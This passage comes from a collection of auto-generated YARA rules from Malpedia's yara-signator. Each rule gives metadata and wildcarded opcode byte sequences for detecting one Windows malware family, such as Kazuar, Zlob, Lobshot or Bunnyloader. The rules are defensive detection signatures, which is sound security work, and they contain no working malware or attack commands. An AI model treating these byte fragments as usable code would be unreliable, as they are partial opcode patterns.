		$sequence_4 = { 50 52 e8???????? 83c40c 8d7b40 ff734c ff15???????? }
		$sequence_5 = { 8d45ed c7855cf7ffff00000000 c78560f7ffff0f000000 c6854cf7ffff00 3bf0 740f 2bc6 }
		$sequence_6 = { 0f46c2 50 e8???????? 83c404 85c0 0f848c000000 8d7023 }
		$sequence_7 = { 2bc2 3bc1 0f82d4000000 837f1410 7202 }
		$sequence_8 = { 50 8b4508 50 03c1 }
		$sequence_9 = { 837de010 8b4b10 8b75cc 0f43d6 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Isspace_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e2eec2f1-7baf-5dcc-a6aa-a2a11e65c5fc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isspace_auto.yar#L1-L103"
		license_url = "N/A"
		logic_hash = "c1331a8a4f2f7f8169497cb9d4ae59c19406daa94f505a8ed56551a7b1886f8a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a23 eb04 6a00 6a2b 68???????? 6a00 }
		$sequence_1 = { 6800200300 a3???????? e8???????? 6800200300 }
		$sequence_2 = { 33c5 50 8d45f0 64a300000000 8965e8 c745fc00000000 ff15???????? }
		$sequence_3 = { eb19 6a00 6a1c eb0a 6a00 6a23 }
		$sequence_4 = { 6a00 68???????? 68???????? 68???????? 53 ff15???????? 8bf0 }
		$sequence_5 = { 50 50 6a03 6a02 ff15???????? 894604 }
		$sequence_6 = { e8???????? 6800010000 8d8600010000 6a00 }
		$sequence_7 = { 6a00 6a00 6800010000 53 6aff }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Kazuar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ccff8922-162c-572c-8893-65e66a285e05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazuar_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "e795bcf133e170c8cc0011c1658f28fb0b95178f81911116117a7619cede54b7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7452 83b98c00000000 7449 4c01de 31db 8b6e20 448b6618 }
		$sequence_1 = { 83c002 c744240400000000 668945f2 8d45ec c7042400000000 8944240c 8d45f0 }
		$sequence_2 = { e8???????? 89c3 e8???????? 01c0 895df4 }
		$sequence_3 = { 31c0 4885c9 4989cb 89d7 7463 4863493c }
		$sequence_4 = { 8b0402 4c01d8 eb07 48ffc3 ebc8 31c0 }
		$sequence_5 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c 83ec18 }
		$sequence_6 = { 6685c9 7417 e8???????? 0fb7c0 41ffc1 }
		$sequence_7 = { 31c0 4885db 7428 4989db 498b4b40 e8???????? 3d88ae6393 }
		$sequence_8 = { 7425 e8???????? 39f8 751c 8b4624 4801db }
		$sequence_9 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Zlob_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "05847610-c838-5d32-b338-8d5b68ddc2fc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zlob_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "540ffbf034a9c137ad7d038d10b65fce4aa537a82bbe9b720e7907a3d6dfd9c7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8944241c c70424e8030000 e9???????? ffd3 ffd3 ffd6 }
		$sequence_1 = { 0f8436010000 ffd5 ffd5 ffd6 ffd7 }
		$sequence_2 = { ffd7 ffd6 ffd7 ffd6 ffd6 ffd7 8d842440020000 }
		$sequence_3 = { 50 ffd6 85c0 750d 6a08 6a01 57 }
		$sequence_4 = { c685f5fdffff31 c685f6fdffff65 c685f7fdffff30 c685f8fdffff2d c685f9fdffff64 c685fafdffff65 }
		$sequence_5 = { 8d4c242c e8???????? 8b442448 89442410 eb05 834c2410ff 8d4c241c }
		$sequence_6 = { 742e 6a03 ff75f0 ff15???????? 85c0 751f 6a03 }
		$sequence_7 = { c644241301 ff742414 ff15???????? 8b3d???????? ff742418 ff15???????? }
		$sequence_8 = { 6a0c a3???????? e8???????? 59 85c0 }
		$sequence_9 = { 895104 e8???????? c20400 56 57 8b7c240c 8bc7 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Targetcompany_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4c6c1b9e-4647-5918-893c-d13ce0b5fa25"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.targetcompany_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "47a23feab60239622d1061098dd7caa46d2a81895190e3a3f7d203abbeea4b5b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8955f4 e8???????? ff75b4 8bf8 53 }
		$sequence_1 = { e8???????? 8d45b0 50 8d85c0feffff 50 8d8d10ffffff e8???????? }
		$sequence_2 = { 8bcf 83f808 7207 8b17 89550c eb03 897d0c }
		$sequence_3 = { 57 6a0f 5a 8bce 8d45e0 e8???????? }
		$sequence_4 = { 50 ff15???????? be08000100 56 8944242c 8d842430450000 53 }
		$sequence_5 = { 53 895db0 8955b4 e8???????? ff75b4 8906 8b4708 }
		$sequence_6 = { 0f85a0000000 56 50 68???????? e8???????? 83c40c 83bdbcfeffff20 }
		$sequence_7 = { 8945c0 8b75c0 8d7d9c a5 }
		$sequence_8 = { ab ab 53 53 ab 8b442424 6801200000 }
		$sequence_9 = { 83fe50 72d0 8db564ffffff e8???????? }
	condition:
		7 of them and filesize < 328704
}

rule MALPEDIA_Win_Sanny_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3b4b3143-6e56-57d2-a40c-de1821af2738"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sanny_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "e2fbc4a585eb4f31f4417da33af8b6c1fed46bb262bdcc20859cec67dc3394ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 56 e8???????? 8b4c2434 8b542430 51 52 }
		$sequence_1 = { 8b4c240c 6a05 51 8bce }
		$sequence_2 = { 8d4c241c 51 8d542444 6a00 8d4c2434 52 51 }
		$sequence_3 = { 894614 83c002 50 e8???????? 8b4e14 83c404 41 }
		$sequence_4 = { eb63 3c02 755f 8b861cc70000 85c0 7455 8b542408 }
		$sequence_5 = { 8b542410 52 ffd5 8d442414 43 50 53 }
		$sequence_6 = { 8b54244c 8d442454 8d4c240c 50 51 8d442428 52 }
		$sequence_7 = { 81ec08040000 8d442400 56 8bb42414040000 50 8b842420040000 8d54240c }
		$sequence_8 = { 53 57 8d3c85c4714100 bb00100000 7520 53 }
		$sequence_9 = { 8d3449 2bd1 8d34b530634100 832600 83c60c 4a 75f7 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Manitsme_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71cb4532-c54e-57eb-a20c-2765fcfa6978"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manitsme_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "f54a2de03d86d0088dd4a7debb0ef3d048ee2324f936fed5683caed7b0cf71b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895c2450 ffd6 8b35???????? 8d542410 52 }
		$sequence_1 = { 85c0 0f84a2000000 837c241000 766e 6a00 8d442414 50 }
		$sequence_2 = { 8bc8 c1f905 8d1c8d40580110 8bf0 83e61f 6bf628 8b0b }
		$sequence_3 = { d96c2416 e8???????? 83c404 85c0 7505 b8100e0000 }
		$sequence_4 = { 6a02 68???????? be07000000 e8???????? }
		$sequence_5 = { 68???????? 32db e8???????? dc0d???????? }
		$sequence_6 = { 52 be04010000 8bfb e8???????? }
		$sequence_7 = { ff15???????? 6a00 b801000000 e8???????? 83c404 b801000000 c20c00 }
		$sequence_8 = { ffd3 85c0 7586 50 ff15???????? }
		$sequence_9 = { 7416 8bc1 83e01f 6bc028 8bd1 c1fa05 03049540580110 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Rawdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc76b812-17c2-5ec8-96b0-76719ad244ed"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawdoor_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "ec178538305c82f8b2a93ab81f9192cdc24be91763d3a20d8dccb588ac264211"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 030e 03d1 c1c207 4103d2 }
		$sequence_1 = { 030b 4403d1 418bc8 f7d1 23ca }
		$sequence_2 = { 034218 418d91051d8804 458d8a39d0d4d9 03d0 }
		$sequence_3 = { 03442444 3d00040000 730e 488d4c2450 }
		$sequence_4 = { 034210 418d90a9cfde4b 458d81604bbbf6 03d0 }
		$sequence_5 = { 034608 03d0 8b442408 4103c1 4c8b4c2410 }
		$sequence_6 = { 034808 4403c1 8bcb f7d1 23ca }
		$sequence_7 = { 034824 418bc0 4403c9 33c2 418d8be599dbe6 }
		$sequence_8 = { 0101 0101 0100 0000 0001 }
		$sequence_9 = { 0000 0001 0100 0001 0101 }
		$sequence_10 = { 8be5 5d c3 ff15???????? 83f8ff 746f 8d85bcf8ffff }
		$sequence_11 = { 0f8405010000 83e809 7415 83e803 0f8538010000 c745dc44690210 e9???????? }
		$sequence_12 = { c3 68???????? 50 ff15???????? 85c0 751f 68???????? }
		$sequence_13 = { 57 8b7d08 8d14dd00000000 8b0f c1e903 83e13f 894d0c }
		$sequence_14 = { ffd6 ffb5e4feffff ffd6 57 85db 7439 81fb02010000 }
		$sequence_15 = { 50 e8???????? 6867010000 8d8529fcffff c68528fcffff00 6a00 50 }
	condition:
		7 of them and filesize < 445440
}

rule MALPEDIA_Win_Lobshot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6f20fbff-d088-55ca-8131-38feba325236"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lobshot_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "319a86adb13eb9e86d16d75f8640b06a3709c7236ca49379440781ba36dcddcb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4e08 8a86b1160000 eb10 85c0 7e12 8b5608 8b4e14 }
		$sequence_1 = { 0f8c89040000 85db b98a000000 6a07 58 0f45c8 33c0 }
		$sequence_2 = { 5f c3 53 56 85c9 7462 }
		$sequence_3 = { 6685c9 740a 83f92e 7405 }
		$sequence_4 = { 8945e8 66d3e0 660b86b0160000 0fb7c0 8945f8 6a10 58 }
		$sequence_5 = { 8b7d18 33c9 6a0f 41 58 39b48d78ffffff 7505 }
		$sequence_6 = { 8b4764 8a5401ff 8b8f98160000 8b879c160000 66893448 8b8798160000 8b8f90160000 }
		$sequence_7 = { ff35???????? 6801000080 ff15???????? 85c0 0f851e010000 55 8b2d???????? }
		$sequence_8 = { 8b8b4c140000 8b83580b0000 8b55ec 89848b540b0000 8bcb e8???????? }
		$sequence_9 = { 83ec30 8b4204 8945d8 8b4208 53 8b1a 56 }
	condition:
		7 of them and filesize < 247808
}

rule MALPEDIA_Win_Xiangoop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "361620d5-e5e6-5f74-925d-645a80b78212"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiangoop_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "f8f21cace7fd103bdd27ecbe99bad091ab92dc71874d8f32014c3d64cede2d0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945fc e9???????? e9???????? 837d1020 0f850e040000 b901000000 6bd100 }
		$sequence_1 = { 81e2ff000000 8b45f4 c1e810 25ff000000 8b0c95587d0110 330c8558650110 8b55f8 }
		$sequence_2 = { 6bd10d 8b4dfc 890411 ba04000000 6bc206 }
		$sequence_3 = { 83e801 0f8539010000 c745e414430110 8b4508 }
		$sequence_4 = { 8b45f4 0fb64c081c 81e1ff000000 c1e108 0bd1 }
		$sequence_5 = { 57 8d1c8518b00110 8b03 90 8b15???????? 83cfff 8bca }
		$sequence_6 = { b804000000 6bc805 8b45fc 8b75fc 8b1410 }
		$sequence_7 = { 8b55f0 c1ea00 81e2ff000000 330495585d0110 b904000000 6bd105 }
		$sequence_8 = { 8b45dc c1e800 25ff000000 330c85585d0110 ba04000000 6bc203 8b55fc }
		$sequence_9 = { b901000000 6bd100 8b45f4 0fb64c1010 }
	condition:
		7 of them and filesize < 246784
}

rule MALPEDIA_Win_Nvisospit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "45693521-741e-5d7b-a1e6-3a76e159ad3c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nvisospit_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "ff70ccb56c3ba29da1863614e8053ff80e99b0375420038026fb05b34e9ea2b2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f807 7ea8 83f80b 8b15???????? 0f8e16010000 85d2 0f8493010000 }
		$sequence_1 = { 0f8598000000 8b15???????? b9???????? e9???????? 0fb60f 89cb }
		$sequence_2 = { 3b5dc4 89b700004000 89da 75d8 }
		$sequence_3 = { 8b00 89442404 c70424???????? e8???????? 8b859cf9ffff 0fb74004 0fb7c0 }
		$sequence_4 = { 8d7600 8dbc2700000000 b9???????? 85d2 0f85eafeffff 8b7104 }
		$sequence_5 = { 83c308 8b7a04 8b12 039700004000 8d8700004000 89d6 e8???????? }
		$sequence_6 = { 89742410 894c240c 89542408 89442404 c70424???????? }
		$sequence_7 = { 8b35???????? 85f6 0f8ef0000000 8b3d???????? }
		$sequence_8 = { b9???????? e9???????? 0fb60f 89cb 81cb00ffffff }
		$sequence_9 = { 89c3 89f8 e8???????? 891f ebcc 0fb79900004000 }
	condition:
		7 of them and filesize < 66560
}

rule MALPEDIA_Win_Bunnyloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0daa091a-7685-5a2e-b265-d5329b5c0a21"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunnyloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunnyloader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "b53a936a0dceb8c6261eaef889e6613b1973524457e163036a774308b6a54923"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff742414 ba40000000 8bcf ff750c 50 e8???????? 83c40c }
		$sequence_1 = { e9???????? 8b4318 8b560c 89542420 a828 745a b9???????? }
		$sequence_2 = { c745dc00000000 89857cffffff 7432 50 8d4dd4 e8???????? ffb57cffffff }
		$sequence_3 = { 894df4 85c9 743a 8bc8 33c0 83c101 13c0 }
		$sequence_4 = { c6853fffffff00 8d95b8feffff ffb53fffffff 8d8df8fdffff c645fc2d e8???????? 83c404 }
		$sequence_5 = { e8???????? 8b4df8 83c408 8b550c 6689044a 8a06 3c20 }
		$sequence_6 = { 8d5e54 8bd3 894650 8bcf e8???????? 8bbd64feffff eb2d }
		$sequence_7 = { e8???????? 83c408 e9???????? 8b442420 807c241700 0f8418030000 807e5700 }
		$sequence_8 = { e8???????? 8bf8 8b45e4 03fe 13d3 83c701 13d3 }
		$sequence_9 = { c6464400 8a4201 884645 803a00 746e 0fb64201 33c9 }
	condition:
		7 of them and filesize < 2998272
}

rule MALPEDIA_Win_Wastedloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c9b391e1-a439-5c84-8bc6-d01e7837fa3f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedloader_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "f52a5046711dc64fff342d42959b67fac6d384f1f957f74196d547273f13eb4f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7444 eb00 686bb90000 ff15???????? }
		$sequence_1 = { 7ed7 7488 09b31ced6185 1ce2 }
		$sequence_2 = { e8???????? 3d1e050000 c10147 833b38 }
		$sequence_3 = { a828 b409 1c04 e8???????? }
		$sequence_4 = { 7aec e471 e8???????? 0057bb 038919fc885d e479 }
		$sequence_5 = { b9b5000000 8b55f8 66894a4c 8b45f8 }
		$sequence_6 = { 8b45f8 66895056 b9b8000000 8b55f8 66894a58 8b45f8 0fb74858 }
		$sequence_7 = { 0200 00e7 aa 53 }
		$sequence_8 = { 2cbe 832061 5b 5b }
		$sequence_9 = { 8b55f8 0fb7421e 83e854 8b4df8 6689411e ba86000000 }
	condition:
		7 of them and filesize < 2677760
}

rule MALPEDIA_Win_Backbend_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c7ec5485-6e9e-5eb4-aaaa-c0daf2bd8fb9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backbend_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "935509ae6988f2d539b3ef5a76f3b49b19110a268e5a967dacc21ae1460d274a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c40c 8d45f0 c745d801000000 66c745dc0500 50 }
		$sequence_1 = { 56 ffd3 6a00 8d8500ffffff }
		$sequence_2 = { c3 8b442404 8a08 84c9 7408 80e904 }
		$sequence_3 = { ebf2 c3 55 8bec 81ec0c010000 }
		$sequence_4 = { 6860ea0000 ffd6 33c0 8d8d00feffff 50 }
		$sequence_5 = { 50 e8???????? 8d8500fbffff 53 50 e8???????? }
		$sequence_6 = { c605????????43 ff15???????? 8bf0 68???????? }
		$sequence_7 = { 85c0 7508 6a01 58 e9???????? 6a07 }
		$sequence_8 = { 57 ffd6 85c0 740b 50 ff15???????? }
		$sequence_9 = { c745d801000000 66c745dc0500 50 8d45ac 50 53 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Topinambour_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "248239f8-95b8-583c-8553-e48d7a46283a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.topinambour"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.topinambour_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "3b116af57ab25dd36210660cdcf34a024e37c1d655144c3fd22d92727ae67613"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2b1d 09 1106 1107 }
		$sequence_1 = { 02 282100000a 6f2200000a 25 6f1d00000a 16 6f2300000a }
		$sequence_2 = { 1105 8d0f000001 1306 16 1307 }
		$sequence_3 = { 6f1d00000a 7245000070 6f2000000a 25 6f1d00000a 7255000070 02 }
		$sequence_4 = { 20204e0000 6f0c00000a 09 2060ea0000 6f0d00000a }
		$sequence_5 = { 25 721d000070 6f0500000a 25 }
		$sequence_6 = { 730900000a 0c 6f0a00000a 17 1c 730b00000a }
		$sequence_7 = { 25 6f1d00000a 7255000070 02 282100000a }
		$sequence_8 = { 2e06 731000000a 7a 1104 16 }
		$sequence_9 = { 6f1400000a 2802000006 1308 281300000a 1108 6f1500000a }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Evilconwi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7f652ca8-a434-5be9-ae21-4e0e49d2fcee"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilconwi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilconwi_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "212869a6ab86c4f0f11665af7cc6fecf827786dd09d766a1df9e90f9f4dd950f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c8ff eb07 8b04cd54e14000 5f 5e 5b }
		$sequence_1 = { eb3d 8b0b 894dfc 8d048dac1b4100 8b30 90 }
		$sequence_2 = { c700???????? 8b4508 898850030000 8b4508 59 c7404898134100 8b4508 }
		$sequence_3 = { 56 57 8d1c85f01e4100 8b03 8b15???????? 83cfff }
		$sequence_4 = { 72eb 6a00 ff75e4 ff15???????? ff75d0 }
		$sequence_5 = { 50 6a00 6a0b ff75f8 ffd7 85c0 0f84a6000000 }
		$sequence_6 = { 660f58e0 660fc5c400 25f0070000 660f28a060f74000 660f28b850f34000 }
		$sequence_7 = { 8b45fc 03148d781f4100 8b00 894218 8a03 884228 }
		$sequence_8 = { 50 8d45fc c745dc04000000 50 6a00 6a0b }
		$sequence_9 = { 8b04bd781f4100 807c302900 7504 32c0 eb1a 8d45fc 50 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Unidentified_098_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cee1322b-e182-5772-a21f-5cf6e6750059"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_098_auto.yar#L1-L133"
		license_url = "N/A"
